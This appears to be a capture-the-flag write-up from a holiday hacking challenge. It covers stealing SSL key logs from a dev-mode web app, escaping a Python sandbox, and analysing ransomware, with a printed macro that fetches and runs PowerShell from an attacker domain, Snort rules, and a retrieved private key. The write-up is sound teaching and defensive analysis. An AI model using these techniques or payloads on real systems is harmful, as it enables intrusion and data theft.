Another elf told me that Packalyzer was rushed and deployed with development code sitting in the web root.
Apparently, he found this out by looking at HTML comments left behind and was able to grab the server-side source code.
There was suspicious-looking development code using environment variables to store SSL keys and open up directories.
This elf then told me that manipulating values in the URL gave back weird and descriptive errors.
I’m hoping these errors can’t be used to compromise SSL on the website and steal logins.
Investigating the Login and Register pages’ code didn’t reveal anything unusual. An attempt to browse the /pub/ directory (from which static files, like JavaScript, CSS and images are served) resulted in the following error message:
Error: EISDIR: illegal operation on a directory, read
Basically, this error message indicates that a function on the server (application) was expecting a file, but was rather supplied a valid directory.
This also indicates that the application is written in Node.JS which also was confirmed by successfully downloading https://packalyzer.kringlecastle.com/pub/app.js (which was probably meant by “development code sitting in the web root”).
Investigating the app.js revealed that the server also serves a home.html file. Browsing to https://packalyzer.kringlecastle.com/pub/home.html resulted in a page that seemed to lack some (dynamic) content. Checking Chrome’s Developer Tools’ console confirmed that something was missing:
Uncaught ReferenceError: USERJSONOBJECTGOESHERE is not defined
at home.html:222
In line 222, a static user_info object is instantiated from that JSON:
const user_info = USERJSONOBJECTGOESHERE;
Starting in line 188, this object is used to populate data for the modal “Account” dialog:
$('#account_name').html(filterXSS(user_info.username));
$('#account_email').html(filterXSS(user_info.email));
$('#account_isadmin').html(filterXSS(String(Boolean(user_info.is_admin))));
$('#account_id').html(filterXSS(user_info._id));
Since the user_info object is declared static, it can’t be modified through the JavaScript console. Hence, a breakpoint was set on line 222 and the page was reloaded. Once the breakpoint was hit, the USERJSONOBJECTGOESHERE was initialized with expected data:
USERJSONOBJECTGOESHERE = {"username": "admin", "email": "admin@kringlecastle.com", "is_admin": true, '_id': 0}
Afterwards, execution of the page’s JavaScript code was continued. That way, the website became a little more usable, but trying to sniff traffic still resulted in an error 403 Unauthorized response from the server.
Further investigating the app.js revealed that in dev_mode, the application saves SSL keys to a file on the server:
const dev_mode = true;
const key_log_path = ( !dev_mode || __dirname + process.env.DEV + process.env.SSLKEYLOGFILE )
The exact path to the file is determined by the 2 environment variables DEV and SSLKEYLOGFILE. Also, another quite weird function gets used when running in dev_mode:
function load_envs() {
var dirs = []
var env_keys = Object.keys(process.env)
for (var i=0; i < env_keys.length; i++) {
if (typeof process.env[env_keys[i]] === "string" ) {
dirs.push(( "/"+env_keys[i].toLowerCase()+'/*') )
}
}
return uniqueArray(dirs)
}
if (dev_mode) {
//Can set env variable to open up directories during dev
const env_dirs = load_envs();
} else {
const env_dirs = ['/pub/','/uploads/'];
}
The load_envs function effectively adds all environment variables (that have a string value) to an array of allowed URIs. This can be confirmed by browsing to https://packalyzer.kringlecastle.com/DEV/ as it results in the same error message as with the /pub/ URI:
Error: EISDIR: illegal operation on a directory, read
Browsing to https://packalyzer.kringlecastle.com/SSLKEYLOGFILE/ resulted in a different error:
Error: ENOENT: no such file or directory, open '/opt/http2packalyzer_clientrandom_ssl.log/'
Thus, combining the DEV environment variable with the SSLKEYLOGFILE’s value, the logged SSL session keys could be retrieved via the URL https://packalyzer.kringlecastle.com/DEV/packalyzer_clientrandom_ssl.log
Unfortunately, those weren’t of any use, since I was still not able to log into the application. Asking for a nudge in the right direction regarding how to bypass authentication, I was told that it should be possible to login with credentials provided to the registration. Blaming my Chrome for the issues (sorry, Google), I fired up Firefox with a completely new profile (to rule out any interfering addons) and registered an account providing garbage data. With those credentials it was finally possible to log into packalyzer.
Being now able to sniff traffic, a PCAP files has been generated and a fresh copy of SSL session keys has been downloaded. Loading both files into Wireshark (the PCAP directly, and the key dump into Preferences -> Protocols -> SSL -> (Pre)-Master-Secret log filename) the encrypted HTTP/2 traffic could be analyzed.
Using the “http2” display filter, several POST requests against /api/login could be seen, among which the logins of Holly Evergreen and Alabaster Snowball could be found:
Logging into Holly Evergreen’s account didn’t reveal anything unusual. Under Alabaster’s account, a stored PCAP file, named super_secret_packet_capture.pcap, was discovered:
After downloading the PCAP, it was investigated in Wireshark. The “Protocol Hierarchy Statistics” showed that the file contained SMTP traffic:
Using the “Follow TCP stream” feature, it became apparent that Holly sent an email with an attachment to Alabaster:
Copy and pasting the BASE64-encoded attachment into a text file, the attached file could then be decoded and opened. Looking at the file with a hex editor, it could be identified as a PDF document.
Inside the document, basic music theory is explained, ending with instructions on how to transpose “Mary had a little lamb” to a new key.
Terminal: Python Escape from LA
Trapped inside an interactive Python sandbox, it quickly becomes apparent that most dangerous/necessary functions are blacklisted. Using the evil eval, one can provide Python code as string. This function executes the supplied code and returns the operations’ result. The import command is blacklisted, too, but the built-in __import__() function is still usable (granted, one splits the word “input” into 2 strings and concatenates them). Thus, entering os = eval(“__imp” + “ort__(‘os’)”) makes the os module available for use. Since os.system(‘./i_escaped’) can’t be invoked directly, it is supplied to eval, again, in a split-and-concatenated form. That way, the Python jail could be escaped:
:lllllllllllllllllllllllllllllllllllllllll,
'lllllllllllllllllllllllllllllllllllllllll:
clllllllllllllllllllllllllllllllllllllllll.
'lllllllllllllllllllllllllllllllllllllllll:
;lllllllllllllllllllllllllllllllllllllllll,
:lllllllllllllllllllllllllllllllllllllllll.
:lllllllllllllllllllllllllllllllllllllllll.
;lllllllllllllllllllllllllllllllllllllllll'
'lllllllllllllllllllllllllllllllllllllllll;
.cllllllllllllllllllllllllllllllllllllllllc.
.:llllllllllllllllllllllllllllllllllllllllllc,.
.:llllllllllllllllllllllllllllllllllllllllllllllll;.
.,cllllllllllllllllllllllllllllllllllllllllllllllllllll,
.;llllllllllllllllllllllllllllllllllllllllllllllllllllllllc.
;lllllllllllllllllllllllllllllllllllllllllllllllllllllllllllc.
'llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllc
:lllllll:..,..'cllllllllllllllllllllllc'.,'.'clllllllllllllllllll;
.clllllll' :XK. :llllllllllllllllllll; ,XX. ;lllllllllllllllllll.
.cllllllll. oXX' ,llllllllllllllllllll. cXX; .lllllllllllllllllll'
clllllllll; .xl .cllllllllllllllllllllc. do .clllllllllllllllllll,
:llllllllllll;'..':llllllllllllllllllllllll:'..':lllllllllllllllllllll'
.llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll.
;lllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllc
clllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll.
cllllllllllllllllllllllllll..;lc..:llllllllllllllllllllllllllllllllll;
:lllllllllllllllllllllllll: .l, .lllllllllllllllllllllllllllllllll:
,lllllllllllllllllllllllllc .l; ,llllllllllllllllllllllllllllllll:
.llllllllllllllllllllllllllc;lll::llllllllllllllllllllllllllllllll,
'llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllc.
,llllllllllllllllllllllllllllllllllllllllllllllllllllllllllll,
'llllllllllllllllcccccccc;',.,clllllllllllllllllllllllllll,
.cllllllc:::::;;,,,,'...':c:;...'',,;;;::::::lllllllllc,
'cllllc::;::::cccccccccllc,,,,,,,'',:::::::lllllll;.
.:llllllllllkMMMMMMMMMdlclllllllllollllllllll;.
.':lllllllXMMMMMMMMMoloWMMMMMMMMXllllll:,.
.,:llccccccccccllllXMMMMMMMMWl:;'.
.,,,,,,,,,,clll:::::::::;
'lllllllllc. ',,,,,,,,.
lMMMMMMMMMW, .ddddddddd.
kMMMMMMMMMX. kMMMMMMMMK
':::::::::, .NWWWWWWWW:
',,,,,,,,,. .,,,,,,,,'
.oooooooooo. ',,,,,,,,.
.NMMMMMMMMW; cOOOOOOOOx
0MMMMMMMMMc NMMMMMMMMk
;;;;;;;;;' .KKKKKKKKK:
.,,,,,,,,, ,,,,,,,,,.
.ddddddddo ',,,,,,,,.
XMMMMMMMN cKKKKKKKKK.
.;:::;;,,,,,:ldddddd. 0MMMMMMMMX. ....
.,:ccccccccccccccc 'cccccccccc:::ccccc;.
.:ccccccccccccc .ccccccccccccccc:'.
.;;;;;;;;;;;; .ccccccccccccc;.
..............
I'm another elf in trouble,
Caught within this Python bubble.
Here I clench my merry elf fist -
Words get filtered by a black list!
Can't remember how I got stuck,
Try it - maybe you'll have more luck?
For this challenge, you are more fit.
Beat this challenge - Mark and Bag it!
-SugarPlum Mary
To complete this challenge, escape Python
and run ./i_escaped
>>> import os
Use of the command import is prohibited for this question.
>>> eval("1+1")
2
>>> os = eval("import os")
Use of the command import is prohibited for this question.
>>> os = eval("imp" + "ort os")
Traceback (most recent call last):
File "<console>", line 1, in <module>
File "<string>", line 1
import os
^
SyntaxError: invalid syntax
>>> os = eval("__imp" + "ort__('os')")
>>> os.system('./i_escaped')
Use of the command os.system is prohibited for this question.
>>> eval("os.sy" + "stem('./i_escaped')")
Loading, please wait......
____ _ _
| _ \ _ _| |_| |__ ___ _ __
| |_) | | | | __| '_ \ / _ \| '_ \
| __/| |_| | |_| | | | (_) | | | |
|_|___ \__, |\__|_| |_|\___/|_| |_| _ _
| ____||___/___ __ _ _ __ ___ __| | |
| _| / __|/ __/ _` | '_ \ / _ \/ _` | |
| |___\__ \ (_| (_| | |_) | __/ (_| |_|
|_____|___/\___\__,_| .__/ \___|\__,_(_)
|_|
That's some fancy Python hacking -
You have sent that lizard packing!
-SugarPlum Mary
You escaped! Congratulations!
0
>>>
9) Ransomware Recovery
Alabaster Snowball is in dire need of your help. Santa’s file server has been hit with malware. Help Alabaster Snowball deal with the malware on Santa’s server by completing several tasks. For hints on achieving this objective, please visit Shinny Upatree and help him with the Sleigh Bell Lottery Cranberry Pi terminal challenge.
Catch the Malware
Difficulty: 3
Assist Alabaster by building a Snort filter to identify the malware plaguing Santa’s Castle.
Investigating the provided PCAP files, it becomes apparent that the malware issues many DNS requests for certain TXT records on several different domains:
All of these have in common that they contain the hex-encoded string “wannacookie.min.ps1” as part of the domain.
Additionally, several DNS TXT answers can be found that contain (probably) seed values for calculating the AES key:
With that in mind, the following snort rules can be derived:
alert udp any any -> any 53 (msg:"TXT request 1"; content:"|37 37 36 31 36 45 36 45 36 31 36 33 36 46 36 46 36 42 36 39 36 35 32 45 36 44 36 39 36 45 32 45 37 30 37 33 33 31|"; sid:1001; rev:1; )
alert udp any 53 -> any any (msg:"TXT response 1"; content:"|37 37 36 31 36 45 36 45 36 31 36 33 36 46 36 46 36 42 36 39 36 35 32 45 36 44 36 39 36 45 32 45 37 30 37 33 33 31|"; sid:1002; rev:1; )
alert udp any 53 -> any any (msg:"TXT response"; pcre:"/[[a-z]+\d+]+$/i"; sid:1006; rev:1; )
With those 3 rules, all (and only) malicious traffic can be detected:
_ __ _ _ _____ _ _
| |/ / (_) | | / ____| | | | |
| ' / _ __ _ _ __ __ _| | ___| | __ _ ___| |_| | ___
| < | '__| | '_ \ / _` | |/ _ \ | / _` / __| __| |/ _ \
| . \| | | | | | | (_| | | __/ |___| (_| \__ \ |_| | __/
|_|\_\_| |_|_|_|_|\__, |_|\___|\_____\__,_|___/\__|_|\___|
/ ____| __/ | | |
| (___ |___/ ___ _ __| |_
\___ \| '_ \ / _ \| '__| __|
____) | | | | (_) | | | |_
|_____/|_|_|_|\___/|_|_ \__|
|_ _| __ \ / ____|
| | | | | | (___
_____ | | | | | |\___ \ __
/ ____| _| |_| |__| |____) | /_ |
| (___ |_____|_____/|_____/ _ __ | |
\___ \ / _ \ '_ \/ __|/ _ \| '__| | |
____) | __/ | | \__ \ (_) | | | |
|_____/ \___|_| |_|___/\___/|_| |_|
============================================================
INTRO:
Kringle Castle is currently under attacked by new piece of
ransomware that is encrypting all the elves files. Your
job is to configure snort to alert on ONLY the bad
ransomware traffic.
GOAL:
Create a snort rule that will alert ONLY on bad ransomware
traffic by adding it to snorts /etc/snort/rules/local.rules
file. DNS traffic is constantly updated to snort.log.pcap
COMPLETION:
Successfully create a snort rule that matches ONLY
bad DNS traffic and NOT legitimate user traffic and the
system will notify you of your success.
Check out ~/more_info.txt for additional information.
# $Id: local.rules,v 1.11 2004/07/23 20:15:44 bmc Exp $
elf@edc0bb140e88:~$ cat more_info.txt
MORE INFO:
A full capture of DNS traffic for the last 30 seconds is
constantly updated to:
/home/elf/snort.log.pcap
You can also test your snort rule by running:
snort -A fast -r ~/snort.log.pcap -l ~/snort_logs -c /etc/snort/snort.conf
This will create an alert file at ~/snort_logs/alert
This sensor also hosts an nginx web server to access the
last 5 minutes worth of pcaps for offline analysis. These
can be viewed by logging into:
http://snortsensor1.kringlecastle.com/
Using the credentials:
----------------------
Username | elf
Password | onashelf
tshark and tcpdump have also been provided on this sensor.
HINT:
Malware authors often user dynamic domain names and
IP addresses that change frequently within minutes or even
seconds to make detecting and block malware more difficult.
As such, its a good idea to analyze traffic to find patterns
and match upon these patterns instead of just IP/domains.
elf@edc0bb140e88:~$
elf@edc0bb140e88:~$ vim /etc/snort/rules/local.rules
elf@edc0bb140e88:~$
[+] Congratulation! Snort is alerting on all ransomware and only the ransomware!
[+]
Identify the Domain
Difficulty: 5
Using the Word docm
file, identify the domain name that
the malware communicates with.
Utilizing olevba (which is part of the oletools package), malicious macros can be extracted from the provided .docm file:
$ olevba --decode CHOCOLATE_CHIP_COOKIE_RECIPE.docm
olevba 0.53.1 - http://decalage.info/python/oletools
Flags Filename
----------- -----------------------------------------------------------------
OpX:MASI---- CHOCOLATE_CHIP_COOKIE_RECIPE.docm
===============================================================================
FILE: CHOCOLATE_CHIP_COOKIE_RECIPE.docm
Type: OpenXML
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: word/vbaProject.bin - OLE stream: u'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Module1.bas
in file: word/vbaProject.bin - OLE stream: u'VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Private Sub Document_Open()
Dim cmd As String
cmd = "powershell.exe -NoE -Nop -NonI -ExecutionPolicy Bypass -C ""sal a New-Object; iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()"" "
Shell cmd
End Sub
-------------------------------------------------------------------------------
VBA MACRO NewMacros.bas
in file: word/vbaProject.bin - OLE stream: u'VBA/NewMacros'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sub AutoOpen()
Dim cmd As String
cmd = "powershell.exe -NoE -Nop -NonI -ExecutionPolicy Bypass -C ""sal a New-Object; iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()"" "
Shell cmd
End Sub
+------------+-----------------+-----------------------------------------+
| Type | Keyword | Description |
+------------+-----------------+-----------------------------------------+
| AutoExec | AutoOpen | Runs when the Word document is opened |
| AutoExec | Document_Open | Runs when the Word or Publisher |
| | | document is opened |
| Suspicious | Shell | May run an executable file or a system |
| | | command |
| Suspicious | powershell | May run PowerShell commands |
| Suspicious | ExecutionPolicy | May run PowerShell commands |
| Suspicious | New-Object | May create an OLE object using |
| | | PowerShell |
| IOC | powershell.exe | Executable file name |
+------------+-----------------+-----------------------------------------+
As the invoked Powershell code is obfuscated, it needs to be transformed to a more readable form, first. This can be achieved by replacing the iex (Invoke-Expression) function with a simple echo:
PS> sal a New-Object; echo (a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()
function H2A($a) {$o; $a -split '(..)' | ? { $_ } | forEach {[char]([convert]::toint16($_,16))} | forEach {$o = $o + $_}; return $o}; $f = "77616E6E61636F6F6B69652E6D696E2E707331"; $h = ""; foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10)-1)) {$h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings}; iex($(H2A $h | Out-string))
Thus, it becomes apparent that the script interacts with the domain “erohetfanu.com”
Fun fact: Reversing the string “erohetfanu” and applying the ROT13-decryption, the name “Hans Gruber” can be found. Hans Gruber was the villain in the first “Die Hard” movie:
I knew that Hans at the KringleCon reminded me of someone 😀
Stop the Malware
Difficulty: 3
Identify a way to stop the malware in its tracks!
After retrieving and formatting the “wannacookie.min.ps1” mentioned above, the code had been analyzed to find a potential kill switch. At the beginning of the main function wanc, the code checks whether a certain domain exists and exits, if it does:
function wanc {
$S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000";
if ($null -ne ((Resolve-DnsName -Name $(wanc {
$S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000";
if ($null -ne ((Resolve-DnsName -Name $(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings))).ToString() -ErrorAction 0 -Server 8.8.8.8))) {
return
};
Basically, this code snipped performs several Hex2Ascii (H2A), Bytes2Hex (B2H) and Hex2Bytes (H2B) conversions. The G2B function decompresses a gzip-compressed stream, and ti_rox performs a byte-wise XOR-decryption of a string and a key. Using some commandline magic and Python, the domain in question can be easily retrieved:
$ nslookup -type=TXT 6B696C6C737769746368.erohetfanu.com erohetfanu.com
DNS request timed out.
timeout was 2 seconds.
Server: UnKnown
Address: 104.196.126.19
6B696C6C737769746368.erohetfanu.com text =
"66667272727869657268667865666B73"
$ echo 1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000 | xxd -r -ps | gunzip | xxd -ps
1f0f0202171d020c0b09075604070a0a
$ python
Python 2.7.14 (default, Oct 31 2017, 21:12:13)
[GCC 6.4.0] on cygwin
Type "help", "copyright", "credits" or "license" for more information.
>>> s = '1f0f0202171d020c0b09075604070a0a'.decode('hex')
>>> t = '66667272727869657268667865666B73'.decode('hex')
>>> u = ''
>>> for a,b in zip(s,t):
... u += chr(ord(a)^ord(b))
...
>>> u
'yippeekiyaa.aaay'
>>>
Registering the domain at the “Ho Ho Ho Daddy” console finally stops the malware:
Recover Alabaster’s Password
Difficulty: 5
Recover Alabaster’s password as found in the encrypted password vault.
Further investigating the malicious Powershell reveals the following functionality:
- On startup, the script invokes the wanc function
- At first, the function checks whether any of the following exit conditions is met, and exits, if so:
- The “yippeekiyaa.aaay” domain is registered
- service is running on the loopback interface, listening on port 8080
- he system is not a member of the “KRINGLECASTLE” domain
- The script retrieves an .X509 certificate via the g_o_dns function and stores it in $p_k:
- At the first, the g_o_dns functions issues a DNS requests for the TXT record on the domain 7365727665722E637274.erohetfanu.com (hex-encoded “server.crt”)
- The response represents the number of required sub-queries in the for <number>.7365727665722E637274.erohetfanu.com
- Responses to the subdomain TXT queries contain parts of the requested file in a hex-encoded form.
- Each response gets attached to the end of a string
- Once done, the function hex-decodes the created string and returns the file’s content
- Next, the script generates a random 16-byte long string ($b_k) which later is used as the key for AES-encryption.
- The SHA1 hash ($k_h) for hex-encoded representation of the key ($h_k) is calculated.
- Utilizing the p_k_e function and providing $b_k and $p_k as parameters, the AES key is RSA-encrypted with the public key from inside the server.crt and stored in in hex-encoded form inside the $p_k_e_k variable.
- The public-key-encrypted-key is sent to the C&C server using the snd_k function:
- The key is first split into 32-byte chunks, by calling the s_2_c function
- Using the first 32 byte chunk as subdomain, a DNS TXT request is sent to <chunk>.6B6579666F72626F746964.erohetfanu.com (hex-encoded “keyforbotid”), retrieving the bot id, saved inside the $n_c_id variable.
- Subsequent chunks get then submitted via DNS TXT requests to the subdomain <botid>.<chunk>.6B6579666F72626F746964.erohetfanu.com
- Once finished, the function returns the retrieved botid
- The script then searches for .elfdb files (excluding those that already have a “.wannacookie” suffix) inside the current user’s Desktop, Documents, Videos, Pictures and Music folders and saves the found files with their full path inside the $f_c array.
- The calculated AES key and retrieved filename array is then provided to the e_n_d function.
- The e_n_d function iterates over the list of filenames and issues up to 12 concurrent threads, each calling the e_d_file function with the AES key and filename (and a flag indicating that the file should be encrypted) as parameter:
- The encrypt_decrypt_file function first instantiates an AesManaged crypto provider in CBC mode with the calculated key.
- Next, a FileStreamReader and FileStreamWriter are instantiated for reading the source file and writing the encrypted (or decrypted, depending on the $enc_it flag’s value) file (original filename with an added (or removed) “.wannacookie” suffix).
- If the file should be encrypted:
- An initialization vector is generated
- The IV’s length is written as a 4-byte integer to the destination file, followed by the actual IV.
- An encryptor ($Transform) is instantiated from the AesManaged object
- If the file should be decrypted:
- The IV’s length is read from the first 4 byte of the source file
- Afterwards, the IV is read from the file
- Finally, a decryptor ($Transform) is instantiated from the AesManaged object
- $Transform is then used to encrypt (or decrypt) the file.
- Once done, the function clears the e_d_file’s AES key from memory and deletes the original file.
- When all files are encrypted, the AES key variables (in binary and hex form) are cleared from memory.
- The script then sets up a local HTTP listener on port 8080 and downloads the ransom note via DNS TXT requests for source.min.html
- Browsing to http://127.0.0.1/, the ransom note is displayed.
- The /cookie_is_paid URI checks whether the ransom was paid by issuing a DNS TXT query to <botid>.72616e736f6d697370616964.erohetfanu.com (hex-encoded “ransomispaid”)
- When the query returns a response, it will contain the AES key which will then be displayed to the user in hex-encoded form.
- The /decrypt?key=<aes_key> URI will finally decrypt the user’s files, by utilizing the e_n_d function (after checking if the sha1 checksum matches the stored checksum).
Equipped with that information, the provided memory dump of a Powershell process can be investigated with Power Dump:
1. After starting the Python script, the memory snapshot has to be opened and loaded into Power Dump:
$ python power_dump.py
==============================
| __ \
| |__) |____ _____ _ __
| ___/ _ \ \ /\ / / _ \ '__|
| | | (_) \ V V / __/ |
|_| \___/ \_/\_/ \___|_|
__ __
\ \ ( ) / /
\ \_ ( ) ( _/ /
\__\ ) _ ) /__/
\\ ( \_ //
`\ _(_\ \)__ /'
(____\___))
_____ _ _ __ __ _____
| __ \| | | | \/ | __ \
| | | | | | | \ / | |__) |
| | | | | | | |\/| | ___/
| |__| | |__| | | | | |
|_____/ \____/|_| |_|_|
Dumps PowerShell From Memory
==============================
=======================================
1. Load PowerShell Memory Dump File
2. Process PowerShell Memory Dump
3. Search/Dump Powershell Scripts
4. Search/Dump Stored PS Variables
e. Exit
: 1
============ Load Dump Menu ================
COMMAND | ARGUMENT | Explanation
========|====================|==============
ld | /path/to/file.name | load mem dump
ls | ../directory/path | list files
B | | back to menu
============= Loaded File: =================
============================================
: ld powershell.exe_181109_104716.dmp
============ Load Dump Menu ================
COMMAND | ARGUMENT | Explanation
========|====================|==============
ld | /path/to/file.name | load mem dump
ls | ../directory/path | list files
B | | back to menu
============= Loaded File: =================
powershell.exe_181109_104716.dmp 427762187
============================================
: b
============ Main Menu ================
Memory Dump: powershell.exe_181109_104716.dmp
Loaded : True
Processed : False
=======================================
1. Load PowerShell Memory Dump File
2. Process PowerShell Memory Dump
3. Search/Dump Powershell Scripts
4. Search/Dump Stored PS Variables
e. Exit
: 2
[i] Please wait, processing memory dump...
[+] Found 65 script blocks!
[+] Found some Powershell variable names to work with...
[+] Found 10947 possible variables stored in memory
Would you like to save this processed data for quick processing later "Y"es or "N"o?
: y
Successfully Processed Memory Dump!
Press Enter to Continue...
2. Since the AesKey is removed from memory, right after the encryption finished, we are limited to the public-key-encrypted-key. Since the certificate’s RSA public key is 2048 bits long, the $p_k_e_k would be 256 bytes long.
3. Using Power Dump’s “Search/Dump Stored PS Variables” function, we can add a filter for hex-values that are exactly 512 bytes long (since the key was stored hex-encoded, and thus consumes 2 bytes per encoded byte):
============ Main Menu ================
Memory Dump: powershell.exe_181109_104716.dmp
Loaded : True
Processed : True
=======================================
1. Load PowerShell Memory Dump File
2. Process PowerShell Memory Dump
3. Search/Dump Powershell Scripts
4. Search/Dump Stored PS Variables
e. Exit
: 4
[i] 10947 powershell Variable Values found!
============== Search/Dump PS Variable Values ===================================
COMMAND | ARGUMENT | Explanation
===============|=============================|=================================
print | print [all|num] | print specific or all Variables
dump | dump [all|num] | dump specific or all Variables
contains | contains [ascii_string] | Variable Values must contain string
matches | matches "[python_regex]" | match python regex inside quotes
len | len [>|<|>=|<=|==] [bt_size]| Variables length >,<,=,>=,<= size
clear | clear [all|num] | clear all or specific filter num
===============================================================================
: matches "[a-fA-F0-9]"
================ Filters ================
1| MATCHES bool(re.search(r"[a-fA-F0-9]",variable_values))
[i] 10291 powershell Variable Values found!
============== Search/Dump PS Variable Values ===================================
COMMAND | ARGUMENT | Explanation
===============|=============================|=================================
print | print [all|num] | print specific or all Variables
dump | dump [all|num] | dump specific or all Variables
contains | contains [ascii_string] | Variable Values must contain string
matches | matches "[python_regex]" | match python regex inside quotes
len | len [>|<|>=|<=|==] [bt_size]| Variables length >,<,=,>=,<= size
clear | clear [all|num] | clear all or specific filter num
===============================================================================
: len == 512
================ Filters ================
1| MATCHES bool(re.search(r"[a-fA-F0-9]",variable_values))
2| LENGTH len(variable_values) == 512
[i] 1 powershell Variable Values found!
============== Search/Dump PS Variable Values ===================================
COMMAND | ARGUMENT | Explanation
===============|=============================|=================================
print | print [all|num] | print specific or all Variables
dump | dump [all|num] | dump specific or all Variables
contains | contains [ascii_string] | Variable Values must contain string
matches | matches "[python_regex]" | match python regex inside quotes
len | len [>|<|>=|<=|==] [bt_size]| Variables length >,<,=,>=,<= size
clear | clear [all|num] | clear all or specific filter num
===============================================================================
: dump
[+] saved variables to powershell_var_script_dump/variable_values.txt
4. The single found value can then be dumped to the local file located at ./powershell_var_script_dump/variable_values.txt
5. In order to decrypt the encrypted key, the RSA private key is required. Attempts to factorize the public key’s modulus were quickly discarded, since neither factordb.com, nor yafu gave quick results.
6. Instead, it was decided to try and see whether the key can be found on the server:
- During the script analysis, it was found that the server’s certificate is retrieved via DNS TXT requests to 7365727665722E637274.erohetfanu.com
- 7365727665722E637274 decodes to “server.crt”
- “server.key” would encode as 7365727665722E6B6579
- Sending a DNS TXT request to 7365727665722E6B6579.erohetfanu.com returned a valid response, indicating that the key is split to 14 chunks:
$ nslookup -type=TXT 7365727665722E6B6579.erohetfanu.com erohetfanu.com
Server: erohetfanu.com
Address: 104.196.126.19#53
7365727665722E6B6579.erohetfanu.com text = "14"
5. With some commandline magic, the key could be easily retrieved:
$ for i in `seq 0 13`; do nslookup -type=TXT $i.7365727665722E6B6579.erohetfanu.com erohetfanu.com | tail -n 2 | head -n 1 | cut -d '=' -f 2 | tr -d ' "' | xxd -r -ps; done
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDEiNzZVUbXCbMG
L4sM2UtilR4seEZli2CMoDJ73qHql+tSpwtK9y4L6znLDLWSA6uvH+lmHhhep9ui
W3vvHYCq+Ma5EljBrvwQy0e2Cr/qeNBrdMtQs9KkxMJAz0fRJYXvtWANFJF5A+Nq
jI+jdMVtL8+PVOGWp1PA8DSW7i+9eLkqPbNDxCfFhAGGlHEU+cH0CTob0SB5Hk0S
TPUKKJVc3fsD8/t60yJThCw4GKkRwG8vqcQCgAGVQeLNYJMEFv0+WHAt2WxjWTu3
HnAfMPsiEnk/y12SwHOCtaNjFR8Gt512D7idFVW4p5sT0mrrMiYJ+7x6VeMIkrw4
tk/1ZlYNAgMBAAECggEAHdIGcJOX5Bj8qPudxZ1S6uplYan+RHoZdDz6bAEj4Eyc
0DW4aO+IdRaD9mM/SaB09GWLLIt0dyhRExl+fJGlbEvDG2HFRd4fMQ0nHGAVLqaW
OTfHgb9HPuj78ImDBCEFaZHDuThdulb0sr4RLWQScLbIb58Ze5p4AtZvpFcPt1fN
6YqS/y0i5VEFROWuldMbEJN1x+xeiJp8uIs5KoL9KH1njZcEgZVQpLXzrsjKr67U
